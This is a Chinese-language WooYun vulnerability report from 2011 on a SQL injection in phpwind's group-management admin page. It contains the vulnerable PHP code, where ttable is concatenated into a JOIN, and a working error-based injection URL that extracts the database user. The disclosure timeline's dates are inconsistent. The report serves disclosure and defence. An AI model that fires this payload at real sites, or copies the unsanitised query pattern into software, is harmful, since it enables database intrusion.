当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2011-01549

漏洞标题：phpwind一个SQL注射漏洞

相关厂商：phpwind

漏洞作者： t00000by57

提交时间：2011-03-10 19:37

修复时间：2011-04-09 21:00

公开时间：2011-04-09 21:00

漏洞类型：SQL注射漏洞

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2011-03-10： 细节已通知厂商并且等待厂商处理中
2011-03-11： 厂商已经确认，细节仅向厂商公开
2011-03-14： 细节向第三方安全合作伙伴开放
2011-05-05： 细节向核心白帽子及相关领域专家公开
2011-05-15： 细节向普通白帽子公开
2011-05-25： 细节向实习白帽子公开
2011-04-09： 细节向公众公开

简要描述：

小bug而已 利用前提是得到群组管理员权限

详细说明：

/apps/group/admin/manage.php line 219

S::gp(array('ttable', 'ptable', 'page','cid','author','ckauthor','keyword','ktype','ttype','ckkeyword','postdate_s','postdate_e','orderby','sc','perpage','cname')); //ttable
		.....
		if ($ttype == '1') {
			$sqltab = 'pw_threads t';
			$pw_tmsgs = 'pw_tmsgs' . $ttable; //!
			$tpre = 'tm';
			$addpage .= "ttable=$ttable&";
		} else {
			$sqltab = GetPtable($ptable) . ' t';
			$addpage .= "ttype=2&ptable=$ptable&";
		}
          ......
		if ($keyword) {
			$addpage .= "keyword=$keyword&ktype=$ktype&ckkeyword=$ckkeyword&";
			if ($ckkeyword) {
				$k_sql = " = " . S::sqlEscape($keyword);
			} else {
				$k_sql = " LIKE " . S::sqlEscape('%'.$keyword.'%');
			}
			if ($ktype == 'subject') {
				$sql .= " AND t.subject" . $k_sql;
			} else {
				$ttype == '1' && $sqltab .= " LEFT JOIN $pw_tmsgs tm ON t.tid=tm.tid"; //$pw_tmsgs
				$sql .= " AND {$tpre}.content" . $k_sql;
			}
		}

漏洞证明：

/admin.php?adminjob=apps&admintype=groups_manage&action=argument&keyword=1&ttable=/**/tm ON t.tid=tm.tid LEFT JOIN pw_argument a ON t.tid=a.tid LEFT JOIN pw_colonys c ON a.cyid=c.id WHERE (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),CONCAT(0x3a,(SELECT USER())))a from information_schema.tables group by a)b)%23

修复方案：

preg_match
也可不修补

版权声明：转载请注明来源 t00000by57@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2011-03-11 16:23

厂商回复：

谢谢 t00000by57 反馈，我们会尽快处理的。

最新状态：

暂无

漏洞评价：

评论

  1. 2011-03-11 17:16 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    修复之后 注明是t00000by57在wooyun提交的哇，附上原始连接~~~~~谢谢！

  2. 2011-03-12 00:28 | pg5yl8 ( 实习白帽子 | Rank:91 漏洞数:12 | 我神马都不会 但我常常被人日 这是为神马呢)

    修复之后 注明是t00000by57在wooyun提交的哇，附上原始连接~~~~~谢谢！

  3. 2011-03-12 01:25 | saga ( 路人 | Rank:11 漏洞数:2 | 世界上只有10种人，懂二进制的，和不懂二进...)

    关注中

  4. 2011-04-09 21:51 | c4rp3nt3r ( 实习白帽子 | Rank:70 漏洞数:10 | 人生的意义就在于从一个圈子跳到另一个更大...)

    修复之后 注明是t00000by57在wooyun提交的哇，附上原始连接~~~~~谢谢！

  5. 2011-04-09 22:59 | 0x0F ( 普通白帽子 | Rank:231 漏洞数:60 | 尖刀安全 (JDSec.Com).......................)

    修复之后 注明是t00000by57在wooyun提交的哇，附上原始连接~~~~~谢谢！

  6. 2011-04-20 12:30 | 龍 ( 实习白帽子 | Rank:35 漏洞数:20 | 关注网络安全,关注漏洞研究)

    修复之后 注明是t00000by57在wooyun提交的哇，附上原始连接~~~~~谢谢！????????

  7. 2012-05-10 01:50 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @xsser = = 时刻不忘做广告啊！

  8. 2012-07-30 17:59 | CCOz ( 路人 | Rank:22 漏洞数:7 | 本人还是处，有意的富婆请联系我，五万以下...)

    修复之后 注明是t00000by57在wooyun提交的哇，附上原始连接~~~~~谢谢！